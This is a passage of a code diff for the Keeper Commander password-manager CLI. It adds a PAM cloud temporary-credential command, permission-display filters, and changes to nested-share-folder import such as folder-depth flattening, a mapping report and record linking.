RecordMixin +from keepercommander.commands.pam.pam_dto import GatewayAction +from keepercommander.commands.pam.router_helper import dispatch_streamed_access_elevation_action, get_dag_leafs +from keepercommander.commands.pam.vault_target import ( + create_record_in_folder, resolve_access_user_save_folder, resolve_pam_record) +from keepercommander.commands.tunnel.port_forward.tunnel_helpers import get_keeper_tokens +from keepercommander.display import bcolors +from keepercommander.error import CommandError +from keepercommander import crypto, vault + + +logger = logging.getLogger(__name__) + + +class _GrantTemporaryAccessToken(GatewayAction): + def __init__(self, inputs, conversation_id): + super().__init__(action='rm-grant-temporary-access-token', is_scheduled=False, + inputs=inputs, conversation_id=conversation_id) + + +class PAMCloudCommand(GroupCommand): + def __init__(self): + super().__init__() + self.register_command('generate-credentials', PAMCloudGenerateCredentialsCommand(), + 'Generate a temporary cloud access token for a PAM cloud resource', 'gc') + + +def _resolve_configuration_record(params, configuration, linked_config_uids): + config_rec = RecordMixin.resolve_single_record(params, configuration) + if config_rec is None: + for uid in params.record_cache: + if params.record_cache[uid].get('version', 0) == 6: + r = vault.KeeperRecord.load(params, uid) + if r and r.title.casefold() == configuration.casefold(): + config_rec = r + break + if config_rec is None: + raise CommandError('pam-cloud-generate-credentials', f'PAM Configuration "{configuration}" not found.') + config_uid = config_rec.record_uid + if linked_config_uids is not None and config_uid not in linked_config_uids: + raise CommandError('pam-cloud-generate-credentials', + f'PAM Configuration "{configuration}" is not linked to this record.') + return config_uid + + +def _resolve_config_uid(params, record_uid, configuration): + encrypted_session_token, encrypted_transmission_key, _ = get_keeper_tokens(params) + config_leafs = get_dag_leafs(params, encrypted_session_token, encrypted_transmission_key, record_uid) + config_uids = [leaf.get('value') for leaf in (config_leafs or []) if leaf.get('value')] + + if len(config_uids) == 0: + if not configuration: + raise CommandError('pam-cloud-generate-credentials', + 'Record is not linked to a PAM Configuration; specify --configuration|-c.') + return _resolve_configuration_record(params, configuration, linked_config_uids=None) + + if len(config_uids) == 1: + config_uid = config_uids[0] + if configuration: + specified_uid = _resolve_configuration_record(params, configuration, linked_config_uids=config_uids) + if specified_uid != config_uid: + raise CommandError('pam-cloud-generate-credentials', + f'PAM Configuration "{configuration}" is not linked to this record.') + return config_uid + + if not configuration: + raise CommandError('pam-cloud-generate-credentials', + 'Record is linked to multiple PAM Configurations; specify --configuration|-c.') + return _resolve_configuration_record(params, configuration, linked_config_uids=config_uids) + + +class PAMCloudGenerateCredentialsCommand(Command): + parser = argparse.ArgumentParser(prog='pam cloud generate-credentials', + description='Generate a temporary cloud access token for a PAM cloud resource, ' + 'scoped to the logged-in user. The resource\'s own cloud provider ' + 'mints the credential; the gateway never creates a new account.') + parser.add_argument('record', help='PAM cloud resource (pamCloudResource) UID, title, or folder path') + parser.add_argument('--configuration', '-c', dest='configuration', + help='PAM configuration UID or title, if the resource is linked to more than one') + parser.add_argument('--duration-seconds', '-d', dest='duration_seconds', type=int, + help='Credential lifetime in seconds (provider-clamped). Leave unset to use the ' + 'resource\'s own configured elevation time, which also matches how long the ' + 'router keeps the grant active before auto-revoking it.') + parser.add_argument('--save-record', '-s', dest='save_record', action='store_true', + help='Save the credential as a pamUser record. Without this flag the credential is ' + 'masked on screen and not retrievable again.') + parser.add_argument('--folder', '-f', dest='folder_uid', + help='Folder UID, name, or path to save the record in (used with --save-record)') + parser.add_argument('--gateway', '-g', dest='gateway', + help='Gateway UID or name (only needed if more than one Gateway is connected)') + + def get_parser(self): + return PAMCloudGenerateCredentialsCommand.parser + + def execute(self, params, **kwargs): + record_identifier = kwargs['record'] + + record = resolve_pam_record(params, record_identifier, rec_type='pamCloudResource') + if record is None: + raise CommandError('pam-cloud-generate-credentials', + f'PAM cloud resource "{record_identifier}" not found.') + if not isinstance(record, vault.TypedRecord) or record.record_type != 'pamCloudResource': + record_type = record.record_type if isinstance(record, vault.TypedRecord) else 'unknown' + raise CommandError('pam-cloud-generate-credentials', + f'Record "{record.title}" is of type "{record_type}", not "pamCloudResource".') + + config_uid = _resolve_config_uid(params, record.record_uid, kwargs.get('configuration')) + + private_key, public_key = crypto.generate_ec_key() + sender_public_key = base64.urlsafe_b64encode(crypto.unload_ec_public_key(public_key)).rstrip(b'=').decode('ascii') + + inputs = { + 'configurationUid': config_uid, + 'resourceUid': record.record_uid, + 'username': params.user, + 'senderPublicKey': sender_public_key, + } + duration_seconds = kwargs.get('duration_seconds') + if duration_seconds: + inputs['durationSeconds'] = duration_seconds + + action = _GrantTemporaryAccessToken(inputs=inputs, conversation_id=GatewayAction.generate_conversation_id()) + + gateway = kwargs.get('gateway') + if gateway: + action.gateway_destination = gateway + + data = dispatch_streamed_access_elevation_action(params, action) + + if not data.get('success', False): + raise CommandError('pam-cloud-generate-credentials', data.get('error') or 'Unknown error') + + encrypted_record = data.get('encrypted_record') + if not encrypted_record: + raise CommandError('pam-cloud-generate-credentials', + 'The Gateway did not return any credential material.') + + decrypted = crypto.decrypt_ec(base64.b64decode(encrypted_record), private_key) + credential_record = json.loads(decrypted) + + fields = credential_record.get('fields', []) + login = next((f.get('value') for f in fields if f.get('type') == 'login'), '') + provider = next((f.get('value') for f in fields if f.get('label') == 'Provider'), data.get('provider', '')) + has_secret = any(f.get('type') == 'secret' and f.get('value') for f in fields) + + print(f'{bcolors.OKGREEN}Temporary access token generated.{bcolors.ENDC}') + print(f' Provider: {provider}') + print(f' Login: {login}') + print(f' Credential: {"**********" if has_secret else "(none)"}') + print(f' Expiration: {data.get("expiration", "")}') + + if kwargs.get('save_record'): + typed_record = vault.TypedRecord() + typed_record.type_name = credential_record.get('record_type', 'pamUser') + typed_record.title = credential_record.get('title') or f'Temporary access token - {login}' + for field in fields: + if field.get('label'): + typed_record.custom.append( + vault.TypedField.new_field(field['type'], field.get('value', ''), field['label'])) + else: + typed_record.fields.append( + vault.TypedField.new_field(field['type'], field.get('value', ''))) + notes = credential_record.get('notes') + if notes: + typed_record.notes = notes + + folder_uid = resolve_access_user_save_folder( + params, config_uid, folder_spec=kwargs.get('folder_uid'), command='pam-cloud-generate-credentials') + create_record_in_folder(params, typed_record, folder_uid, command='pam-cloud-generate-credentials') + params.sync_data = True + + print(f' Record UID: {typed_record.record_uid}') + else: + print(f'{bcolors.WARNING} Not saved -- the credential cannot be retrieved again. ' + f'Re-run with --save-record to persist it as a pamUser record.{bcolors.ENDC}') diff --git a/keepercommander/commands/pam_saas/__init__.py b/keepercommander/commands/pam_saas/__init__.py index e87fa5675..972500288 100644 --- a/keepercommander/commands/pam_saas/__init__.py +++ b/keepercommander/commands/pam_saas/__init__.py @@ -320,7 +320,7 @@ def get_field_input(params: KeeperParams, if len(extra_text) > 0: prompt += f" (" + "; ".join(extra_text) + ")" prompt += " > " - value = input(prompt) + value = input(prompt).strip() if value == "": if current_value is not None: value = current_value @@ -331,7 +331,7 @@ def get_field_input(params: KeeperParams, value = fh.read() fh.close() - if value is not None: + if value is not None and value != "": if len(valid_values) > 0 and value not in valid_values: print(f"{bcolors.FAIL}{value} is not a valid value.{bcolors.ENDC}") continue diff --git a/keepercommander/commands/record.py b/keepercommander/commands/record.py index a66ab6f3c..2006e0e19 100644 --- a/keepercommander/commands/record.py +++ b/keepercommander/commands/record.py @@ -132,6 +132,12 @@ def register_command_info(aliases, command_info): help='json output: display typed records as legacy') get_info_parser.add_argument('--include-dag', dest='include_dag', action='store_true', help='include DAG/GraphSync information in json output') +get_info_parser.add_argument('--show-inherited', dest='show_inherited', action='store_true', + help='include inherited (folder-level) permission entries for Nested ' + 'Share Records (hidden by default)') +get_info_parser.add_argument('--show-denied', dest='show_denied', action='store_true', + help='include denied-access permission entries for Nested Share Records ' + '(hidden by default)') get_info_parser.add_argument( '--format', dest='format', action='store', choices=['detail', 'json', 'password', 'fields'], default='detail', help='output format') @@ -578,6 +584,10 @@ def _format_expiration(expiration_value): from .nested_share_folder.helpers import get_access_role_label nsf_accesses = (_nsf.get_record_accesses_v3(params, [uid]) .get('record_accesses', [])) + nsf_accesses = _nsf.filter_record_accesses( + nsf_accesses, + show_inherited=kwargs.get('show_inherited', False), + show_denied=kwargs.get('show_denied', False)) if nsf_accesses: nsf_perms = [] for a in nsf_accesses: @@ -734,6 +744,10 @@ def _format_expiration(expiration_value): from .. import nested_share_folder as _nsf accesses = (_nsf.get_record_accesses_v3(params, [uid]) .get('record_accesses', [])) + accesses = _nsf.filter_record_accesses( + accesses, + show_inherited=kwargs.get('show_inherited', False), + show_denied=kwargs.get('show_denied', False)) if accesses: from .nested_share_folder.helpers import ( get_access_role_label, diff --git a/keepercommander/importer/commands.py b/keepercommander/importer/commands.py index 83f2d75ed..4e605c461 100644 --- a/keepercommander/importer/commands.py +++ b/keepercommander/importer/commands.py @@ -21,7 +21,7 @@ from .. import api, record_types from .importer import SharedFolder, Team, Permission, PathDelimiter, replace_email_domain, BaseDownloadMembership, BaseDownloadRecordType, RecordType from .json.json import KeeperJsonImporter, KeeperJsonExporter -from ..commands.base import raise_parse_exception, suppress_exit, user_choice, Command +from ..commands.base import dump_report_data, raise_parse_exception, suppress_exit, user_choice, Command from ..commands.enterprise_common import EnterpriseCommand from ..params import KeeperParams from ..proto import record_pb2 @@ -62,6 +62,16 @@ def _cyberark_skip_arg(value): return ",".join(skip_targets) +def _positive_int_arg(value): + try: + depth = int(value) + except (TypeError, ValueError): + raise argparse.ArgumentTypeError('must be an integer') + if depth < 1: + raise argparse.ArgumentTypeError('--folder-depth must be >= 1') + return depth + + import_parser = argparse.ArgumentParser(prog='import', description='Import vault data from a local file into Keeper') import_parser.add_argument('--display-csv', '-dc', dest='display_csv', action='store_true', help='display Keeper CSV import instructions') @@ -82,6 +92,14 @@ def _cyberark_skip_arg(value): import_parser.add_argument('--nsf', dest='use_nsf', action='store_true', help='import folders and records into Nested Share Folders ' '(json, csv, keepass, cyberark, cyberark_portal, …)') +import_parser.add_argument('--folder-depth', dest='folder_depth', action='store', type=_positive_int_arg, + help='NSF only: maximum resulting folder depth (default 5); folders beyond this depth ' + 'are attached directly at the deepest allowed level, keeping their own name and ' + 'records - names are never merged or renamed') +import_parser.add_argument('--output', dest='output', action='store', + help='NSF only: write a report of the resulting Keeper folder structure (original path ' + '-> new path -> folder UID) to CSV file; use --output=table to print a table. ' + 'ex.: import --format= --output=test.csv --nsf') import_parser.add_argument('-p', '--permissions', dest='permissions', action='store', help='default shared folder permissions: manage (U)sers, manage (R)ecords, can (E)dit, can (S)hare, or (A)ll, (N)one') import_parser.add_argument('--update', dest='update_flag', action='store_true', @@ -246,6 +264,27 @@ class RecordImportCommand(ImporterCommand): def get_parser(self): return import_parser + @staticmethod + def source_path_header(import_format): + # type: (str) -> str + labels = { + '1password': '1Password', + 'bitwarden': 'Bitwarden', + 'cyberark': 'CyberArk', + 'cyberark_portal': 'CyberArk Portal', + 'dashlane': 'Dashlane', + 'json': 'JSON', + 'keepass': 'KeePass', + 'lastpass': 'LastPass', + 'manageengine': 'ManageEngine', + 'proton': 'Proton', + 'thycotic': 'Thycotic', + } + label = labels.get(import_format or '') + if not label: + label = str(import_format or 'Source').replace('_', ' ').title() + return f'{label} Path' + def execute(self, params, **kwargs): if params.enforcements and 'booleans' in params.enforcements: restricted = next((x['value'] for x in params.enforcements['booleans'] if x['key'] == 'restrict_import'), False) @@ -325,8 +364,19 @@ def execute(self, params, **kwargs): kwargs['skip'] = '' logging.info('Processing... please wait.') - imp_exp._import(params, import_format, import_name, manage_users=manage_users, manage_records=manage_records, - can_edit=can_edit, can_share=can_share, **kwargs) + folder_mapping = imp_exp._import(params, import_format, import_name, manage_users=manage_users, + manage_records=manage_records, can_edit=can_edit, can_share=can_share, + **kwargs) + if kwargs.get('use_nsf') and folder_mapping: + output = kwargs.get('output') + if output: + fmt = 'table' if str(output).lower() == 'table' else 'csv' + dump_report_data( + [[orig, new, uid] for orig, new, uid in folder_mapping], + [self.source_path_header(import_format), 'New Path', 'Folder UID'], + fmt=fmt, + filename=None if fmt == 'table' else output, + ) class RecordExportCommand(ImporterCommand): @@ -619,6 +669,8 @@ def execute(self, params, **kwargs): class LoadRecordTypeCommand(EnterpriseCommand): def get_parser(self): return load_record_type_parser + + def execute(self, params, **kwargs): file_name = kwargs.get('name') or 'record_types.json' @@ -652,9 +704,9 @@ def execute(self, params, **kwargs): record_type_name = r_type.get('record_type_name') if not record_type_name: continue - record_type_name = record_type_name[:30] + record_type_name = record_type_name[:32] if record_type_name.lower() in loaded_record_types: - logging.warning('Custom record type "%s" already exists. Skipping.', record_type_name) + logging.warning(_c('yellow',f'Custom record type "{record_type_name}" already exists. Skipping')) continue fields = r_type.get('fields') if not isinstance(fields, list): @@ -664,7 +716,7 @@ def execute(self, params, **kwargs): for field in fields: field_type = field.get('$type') if field_type not in record_types.RecordFields: - logging.warning('Custom record type "%s": Invalid field \"%s\". Skipping.', record_type_name, field_type) + logging.warning(_c('red',f'Custom record type "{record_type_name}": Invalid field "{field_type}". Skipping')) is_valid = False break if not is_valid: @@ -688,14 +740,25 @@ def execute(self, params, **kwargs): rq = record_pb2.RecordType() rq.content = json.dumps(content) rq.scope = record_pb2.RT_ENTERPRISE - rs = api.communicate_rest(params, rq, 'vault/record_type_add') - - counter += 1 + try: + rs = api.communicate_rest(params, rq, 'vault/record_type_add') + logging.info(_c('green',f'Successfully imported record type "{record_type_name}"')) + counter += 1 + except Exception as e: + logging.warning(_c('red',f'Failed to add record type "{record_type_name}" with error:\n {e}')) if counter > 0: logging.info('Added %d custom record types', counter) api.sync_down(params, record_types=True) +def _c(color,text): + if color == 'green': + return f'\033[92m{text}\033[0m' + if color == 'yellow': + return f'\033[1;93m{text}\033[0m' + if color == 'red': + return f'\033[1;91m{text}\033[0m' + return text def importer_for_format(input_format): full_name = 'keepercommander.importer.' + input_format diff --git a/keepercommander/importer/imp_exp.py b/keepercommander/importer/imp_exp.py index 66e1d3075..e37a9542e 100644 --- a/keepercommander/importer/imp_exp.py +++ b/keepercommander/importer/imp_exp.py @@ -243,6 +243,36 @@ def convert_keeper_record(record, has_attachments=False): return rec +def load_existing_nsf_record_for_match(params, record_uid): + # type: (KeeperParams, str) -> Optional[ImportRecord] + """Normalize an existing NSF cache entry for duplicate matching only. + """ + record = (getattr(params, 'nested_share_records', None) or {}).get(record_uid) + if not record: + return None + data = (getattr(params, 'nested_share_record_data', None) or {}).get(record_uid) or {} + data_json = data.get('data_json') + if data_json is None: + cached = params.record_cache.get(record_uid) if hasattr(params, 'record_cache') else None + if cached and cached.get('source') == 'nested_share_folder': + return convert_keeper_record(cached) + return None + if isinstance(data_json, dict): + data_unencrypted = json.dumps(data_json) + elif isinstance(data_json, bytes): + data_unencrypted = data_json + elif isinstance(data_json, str): + data_unencrypted = data_json + else: + return None + return convert_keeper_record({ + 'record_uid': record_uid, + 'version': record.get('version') or 3, + 'client_modified_time': record.get('client_modified_time') or 0, + 'data_unencrypted': data_unencrypted, + }) + + def export(params, file_format, filename, **kwargs): # type: (KeeperParams, str, str, ...) -> None """Export data from Vault to a file in an assortment of formats.""" @@ -752,6 +782,7 @@ def _import(params, file_format, filename, **kwargs): show_skipped = kwargs.get('show_skipped') is True secret_ids = kwargs.get('secret_ids') target_node = kwargs.get('target_node') + folder_depth = kwargs.get('folder_depth') cyberark_skip = { x.strip().lower() for x in str(kwargs.get('skip') or '').split(',') @@ -866,7 +897,7 @@ def _import(params, file_format, filename, **kwargs): if use_nsf: from .nsf_import import apply_nsf_folder_permissions, prepare_nsf_folders sync_down.sync_down(params) - prepare_nsf_folders(params, folders, [], '') + prepare_nsf_folders(params, folders, [], '', folder_depth=folder_depth) apply_nsf_folder_permissions( params, folders, manage_users, manage_records, can_edit, can_share) else: @@ -1049,10 +1080,12 @@ def _import(params, file_format, filename, **kwargs): p, ) + folder_mapping = [] # type: List[Tuple[str, str, str]] if use_nsf: from .nsf_import import prepare_nsf_folders if not dry_run: - prepare_nsf_folders(params, folders, records, nsf_base_parent) + _created, folder_mapping = prepare_nsf_folders(params, folders, records, nsf_base_parent, + folder_depth=folder_depth) else: folder_add = prepare_folder_add(params, folders, records, manage_users, manage_records, can_edit, can_share) if folder_add: @@ -1071,7 +1104,8 @@ def _import(params, file_format, filename, **kwargs): nsf_records_to_add = [] # NSF vault/records/v3/add payloads import_uids = {} - records_to_import, record_exists, external_lookup = prepare_record_add_or_update(update_flag, no_shortcuts, params, records) + records_to_import, record_exists, external_lookup = prepare_record_add_or_update( + update_flag, no_shortcuts, params, records, file_format, use_nsf=use_nsf) skipped_existing_count = len(record_exists) if show_skipped and record_exists: for existing_record in record_exists: @@ -1346,6 +1380,13 @@ def _import(params, file_format, filename, **kwargs): if record_links: api.execute_batch(params, record_links) sync_down.sync_down(params) + if use_nsf: + nsf_record_links = prepare_nsf_record_link(params, records) + if nsf_record_links: + from .nsf_import import execute_nsf_record_links + execute_nsf_record_links(params, nsf_record_links) + from ..commands.pam_import.nsf_helpers import sync_down_preserving_nsf_keys + sync_down_preserving_nsf_keys(params) # adjust shared folder permissions shared_update = prepare_record_permission(params, records) @@ -1469,6 +1510,8 @@ def _import(params, file_format, filename, **kwargs): else: logging.info('Import finished: no records were imported.') + return folder_mapping + def report_statuses(status_type, status_iter): """Report status codes from list of folder_pb2.*Response.""" @@ -1861,6 +1904,8 @@ def prepare_folder_add(params, folders, records, manage_users, manage_records, c folder_hash = {} for f_uid in params.folder_cache: fol = params.folder_cache[f_uid] + if fol.type == BaseFolderNode.NestedShareFolderType: + continue h = hashlib.md5() hs = '{0}|{1}'.format((fol.name or '').lower(), fol.parent_uid or '') h.update(hs.encode()) @@ -2349,8 +2394,8 @@ def build_record_hash(tokens): # type: (Iterator[str]) -> str return hasher.hexdigest() -def prepare_record_add_or_update(update_flag, no_shortcuts, params, records): - # type: (bool, KeeperParams, Iterable[ImportRecord]) -> Tuple[List[ImportRecord], List[ImportRecord], dict] +def prepare_record_add_or_update(update_flag, no_shortcuts, params, records, file_format=None, use_nsf=False): + # type: (bool, bool, KeeperParams, Iterable[ImportRecord], Optional[str], bool) -> Tuple[List[ImportRecord], List[ImportRecord], dict] """ Find what records to import or update. @@ -2359,16 +2404,39 @@ def prepare_record_add_or_update(update_flag, no_shortcuts, params, records): Otherwise import the record, risking creating an almost-duplicate. If update_flag is True: if a unique field match (on title, login, url, and folder) is found, then request a change in password only. + + For CyberArk imports (file_format in ('cyberark', 'cyberark_portal')), matching also takes the + destination folder into account so re-importing the same CyberArk source doesn't create duplicates + per folder. For every other format, matching is folder-agnostic (the pre-#2342 behavior): any + existing record whose content matches is treated as a duplicate and a shortcut is created instead. """ + no_shortcuts = no_shortcuts or file_format in ('cyberark', 'cyberark_portal') + match_folder = False preexisting_entire_record_hash = {} preexisting_partial_record_hash = {} - for record_uid in params.record_cache: - import_record = convert_keeper_record(params.record_cache[record_uid]) + + if use_nsf: + existing_records = ( + (record_uid, load_existing_nsf_record_for_match(params, record_uid)) + for record_uid in (getattr(params, 'nested_share_records', None) or {}) + ) + else: + nsf_record_uids = set((getattr(params, 'nested_share_records', None) or {}).keys()) + existing_records = ( + (record_uid, convert_keeper_record(keeper_record)) + for record_uid, keeper_record in params.record_cache.items() + if record_uid not in nsf_record_uids + ) + + for record_uid, import_record in existing_records: if import_record: - folders = [get_folder_path(params, x) for x in find_folders(params, record_uid)] - folders = [x for x in folders if x] - if len(folders) == 0: - folders.append('') + if match_folder: + folders = [get_folder_path(params, x) for x in find_folders(params, record_uid)] + folders = [x for x in folders if x] + if len(folders) == 0: + folders.append('') + else: + folders = [None] for folder in folders: record_hash = build_record_hash(tokenize_full_import_record(import_record, folder)) preexisting_entire_record_hash[record_hash] = record_uid @@ -2412,11 +2480,12 @@ def prepare_record_add_or_update(update_flag, no_shortcuts, params, records): f.value = LARGE_FIELD_MSG.format(atta.name) if no_shortcuts is False: + folders_to_match = get_import_record_folder_paths(params, import_record) if match_folder else [None] record_uid = next(( preexisting_entire_record_hash[record_hash] for record_hash in ( build_record_hash(tokenize_full_import_record(import_record, folder)) - for folder in get_import_record_folder_paths(params, import_record) + for folder in folders_to_match ) if record_hash in preexisting_entire_record_hash ), None) @@ -2586,6 +2655,28 @@ def prepare_record_link(params, records): return record_links +def prepare_nsf_record_link(params, records): + # type: (KeeperParams, List[ImportRecord]) -> Dict[str, List[str]] + """Prepare existing-record links into Nested Share Folders.""" + from .nsf_import import is_nsf_folder + + nsf_links = {} # type: Dict[str, Set[str]] + nsf_folder_records = getattr(params, 'nested_share_folder_records', None) or {} + for rec in records: + if not rec.uid: + continue + if rec.uid not in params.record_cache and rec.uid not in (getattr(params, 'nested_share_records', None) or {}): + continue + for fol in rec.folders or []: + folder_uid = fol.uid or '' + if not folder_uid or not is_nsf_folder(params, folder_uid): + continue + if rec.uid in (nsf_folder_records.get(folder_uid) or set()): + continue + nsf_links.setdefault(folder_uid, set()).add(rec.uid) + return {folder_uid: sorted(record_uids) for folder_uid, record_uids in nsf_links.items()} + + def prepare_folder_permission(params, folders, full_sync, unsafe=False): # type: (KeeperParams, List[ImportSharedFolder], bool) -> list """Prepare a list of API interactions for changes to folder permissions.""" diff --git a/keepercommander/importer/importer.py b/keepercommander/importer/importer.py index 32aad3139..928a4e10e 100644 --- a/keepercommander/importer/importer.py +++ b/keepercommander/importer/importer.py @@ -93,6 +93,22 @@ def path_components(path, delimiter=PathDelimiter): # type: (str, str) -> Ite p = '' +def flatten_path_components(comps, max_len): + # type: (List[str], Optional[int]) -> List[str] + """Collapse *comps* to at most *max_len* entries. + + Levels 1..(max_len-1) are kept as a normal chain; the path's own final + component is then attached directly under that chain, skipping any + intermediate levels in between. Folder names are never merged or + renamed - distinct branches that overflow under the same kept ancestor + simply become separate sibling folders under it. + """ + if not max_len or len(comps) <= max_len: + return comps + max_len = max(max_len, 1) + return comps[:max_len - 1] + comps[-1:] + + def check_if_bool(value): return value is None or type(value) == bool diff --git a/keepercommander/importer/nsf_import.py b/keepercommander/importer/nsf_import.py index 5181e2bb5..7df36148f 100644 --- a/keepercommander/importer/nsf_import.py +++ b/keepercommander/importer/nsf_import.py @@ -22,6 +22,7 @@ Permission as ImportPermission, Record as ImportRecord, SharedFolder as ImportSharedFolder, + flatten_path_components, path_components, ) from .. import utils @@ -31,7 +32,9 @@ NSF_RECORD_BATCH = 1000 +NSF_FOLDER_RECORD_BATCH = 500 NSF_FOLDER_BATCH = 100 +NSF_DEFAULT_FOLDER_DEPTH = 5 _THROTTLE_BASE_WAIT = 10.0 _THROTTLE_MULTIPLIER = 1.5 _THROTTLE_MAX_RETRIES = 5 @@ -147,6 +150,20 @@ def find_nsf_child(params, folder_name, parent_uid): return None +def _nsf_folder_ancestor_depth(params, folder_uid): + # type: (KeeperParams, str) -> int + """Return how many levels deep *folder_uid* already sits in the NSF tree (itself included).""" + nsf_folders = getattr(params, 'nested_share_folders', None) or {} + depth = 0 + current = folder_uid + seen = set() + while current and current in nsf_folders and current not in seen: + seen.add(current) + depth += 1 + current = nsf_folders[current].get('parent_uid') or '' + return depth + + def _is_throttle_error(exc): # type: (BaseException) -> bool if isinstance(exc, KeeperApiError) and str(getattr(exc, 'result_code', '')).lower() in ( 'throttled', '429', 'too_many_requests'): @@ -248,14 +265,45 @@ def ensure_nsf_path(params, comps, parent_uid=''): return current -def _folder_comp_lists(folders, records): - # type: (List[ImportSharedFolder], List[ImportRecord]) -> List[Tuple[object, List[str]]] - """Return ``(target, component_list)`` pairs for every folder to resolve.""" - targets = [] # type: List[Tuple[object, List[str]]] +class _PhantomFolder: + """Placeholder for an intermediate folder level that has no import data of its own. + + When a path overflows *folder_depth*, every level between the flatten + cutoff and the actual leaf still needs its own sibling folder created + (matching the original names one-for-one) - it just has nothing to place + inside it beyond a nested child folder. + """ + __slots__ = ('uid',) + + def __init__(self): + self.uid = None + + +def _folder_comp_lists(folders, records, folder_depth=None): + # type: (List[ImportSharedFolder], List[ImportRecord], Optional[int]) -> List[Tuple[object, List[str], List[str]]] + """Return ``(target, original_components, flattened_components)`` triples for every folder to resolve. + + A path longer than *folder_depth* contributes one real target (its own + leaf, attached directly under the kept chain) plus one phantom target per + skipped intermediate level, so every original folder name still gets its + own sibling folder under that same kept chain. + """ + targets = [] # type: List[Tuple[object, List[str], List[str]]] + + def add(target, comps): + if not comps: + return + flat = flatten_path_components(comps, folder_depth) + targets.append((target, comps, flat)) + if folder_depth and len(comps) > folder_depth: + head_len = max(folder_depth, 1) - 1 + for i in range(head_len, len(comps) - 1): + orig_prefix = comps[:i + 1] + phantom_comps = comps[:head_len] + [comps[i]] + targets.append((_PhantomFolder(), orig_prefix, phantom_comps)) + for fol in folders or []: - comps = [c for c in path_components(fol.path or '') if c] - if comps: - targets.append((fol, comps)) + add(fol, [c for c in path_components(fol.path or '') if c]) for rec in records or []: if not rec.folders: continue @@ -265,22 +313,35 @@ def _folder_comp_lists(folders, records): comps.extend(path_components(fol.domain)) if fol.path: comps.extend(path_components(fol.path)) - comps = [c for c in comps if c] - targets.append((fol, comps)) + add(fol, [c for c in comps if c]) return targets -def prepare_nsf_folders(params, folders, records, base_parent_uid=''): - # type: (KeeperParams, List[ImportSharedFolder], List[ImportRecord], str) -> int +def prepare_nsf_folders(params, folders, records, base_parent_uid='', folder_depth=None): + # type: (KeeperParams, List[ImportSharedFolder], List[ImportRecord], str, Optional[int]) -> Tuple[int, List[Tuple[str, str, str]]] """Create NSF folder trees for import shared folders and record folders. Builds the full tree first, then creates missing folders **by depth** in batches of up to 100 (``vault/folders/v3/add``), with throttle retries. Sets ``uid`` on each resolved ``ImportSharedFolder`` / ``ImportFolder``. - Returns the number of folders created. + + Paths deeper than *folder_depth* (default ``NSF_DEFAULT_FOLDER_DEPTH``, + counting any existing depth of *base_parent_uid*) are flattened: levels + beyond the cutoff become sibling folders directly under the deepest + allowed folder, each keeping its own original name and data - never + merged or renamed. + + Returns ``(created_count, folder_mapping)`` where *folder_mapping* is a + list of ``(original_path, new_path, folder_uid)`` tuples, one per + resolved folder target. """ before = set((getattr(params, 'nested_share_folders', None) or {}).keys()) - targets = _folder_comp_lists(folders, records) + + effective_depth = folder_depth if folder_depth is not None else NSF_DEFAULT_FOLDER_DEPTH + if base_parent_uid: + effective_depth = max(effective_depth - _nsf_folder_ancestor_depth(params, base_parent_uid), 1) + + targets = _folder_comp_lists(folders, records, effective_depth) # path_tuple -> folder_uid uid_by_path = {} # type: Dict[Tuple[str, ...], str] @@ -288,11 +349,11 @@ def prepare_nsf_folders(params, folders, records, base_parent_uid=''): uid_by_path[()] = base_parent_uid # Resolve / create level by level so parent keys exist for children. - max_depth = max((len(comps) for _, comps in targets), default=0) + max_depth = max((len(comps) for _, _orig, comps in targets), default=0) for depth in range(1, max_depth + 1): pending = [] # type: List[Tuple[Tuple[str, ...], str, str]] seen = set() # type: set - for _, comps in targets: + for _, _orig, comps in targets: if len(comps) < depth: continue path_tuple = tuple(comps[:depth]) @@ -319,22 +380,25 @@ def prepare_nsf_folders(params, folders, records, base_parent_uid=''): for (path_tuple, _name, _parent_uid), folder_uid in zip(pending, created_uids): uid_by_path[path_tuple] = folder_uid - # Assign leaf UIDs back onto import objects. - for target, comps in targets: + # Assign leaf UIDs back onto import objects and record the mapping. + folder_mapping = [] # type: List[Tuple[str, str, str]] + seen_mapping = set() # type: set + for target, orig_comps, comps in targets: if not comps: - if base_parent_uid: - target.uid = base_parent_uid - else: - target.uid = '' - continue - path_tuple = tuple(comps) - target.uid = uid_by_path.get(path_tuple, '') + target.uid = base_parent_uid or '' + else: + path_tuple = tuple(comps) + target.uid = uid_by_path.get(path_tuple, '') + row = (PathDelimiter.join(orig_comps), PathDelimiter.join(comps), target.uid) + if row[:2] not in seen_mapping: + seen_mapping.add(row[:2]) + folder_mapping.append(row) after = set((getattr(params, 'nested_share_folders', None) or {}).keys()) created = len(after - before) if created: logging.info('Created %d Nested Share Folder(s)', created) - return created + return created, folder_mapping def build_nsf_record_add(params, import_record, record_key, data): @@ -385,6 +449,37 @@ def execute_nsf_records_add(params, record_adds): return results +def execute_nsf_record_links(params, folder_record_links): + # type: (KeeperParams, Dict[str, List[str]]) -> None + """Link existing records into NSF folders using the NSF folder-record API.""" + from ..nested_share_folder.folder_record_api import manage_folder_records_batch_v3 + + linked = 0 + for folder_uid, record_uids in folder_record_links.items(): + for start in range(0, len(record_uids), NSF_FOLDER_RECORD_BATCH): + chunk = record_uids[start:start + NSF_FOLDER_RECORD_BATCH] + try: + results = _call_with_throttle_retry( + 'NSF record link', + manage_folder_records_batch_v3, + params, + folder_uid, + records_to_add=chunk, + ) + linked += sum(1 for result in results if result.get('success')) + for result in results: + if not result.get('success'): + logging.warning( + 'Failed to link NSF record "%s" into folder "%s": %s', + result.get('record_uid'), folder_uid, result.get('message')) + except Exception as exc: + logging.warning( + 'Failed to link %d record(s) into NSF folder "%s": %s', + len(chunk), folder_uid, exc) + if linked: + logging.info('Linked %d existing record(s) into Nested Share Folder(s)', linked) + + def apply_nsf_folder_permissions(params, folders, manage_users=False, manage_records=False, can_edit=False, can_share=False): # type: (KeeperParams, List[ImportSharedFolder], bool, bool, bool, bool) -> None diff --git a/keepercommander/nested_share_folder/__init__.py b/keepercommander/nested_share_folder/__init__.py index 99ca97bfb..1c0ba40cf 100644 --- a/keepercommander/nested_share_folder/__init__.py +++ b/keepercommander/nested_share_folder/__init__.py @@ -43,7 +43,7 @@ 'record_api': [ 'create_record_data_v3', 'record_add_v3', 'record_add_pam_configuration_v3', 'record_update_v3', 'create_record_v3', 'update_record_v3', 'create_records_batch_v3', - 'get_record_details_v3', 'get_record_accesses_v3', + 'get_record_details_v3', 'get_record_accesses_v3', 'filter_record_accesses', 'find_direct_user_share_access', 'find_record_owner_username', 'is_record_share_update_noop', 'share_record_v3', 'update_record_share_v3', 'unshare_record_v3', @@ 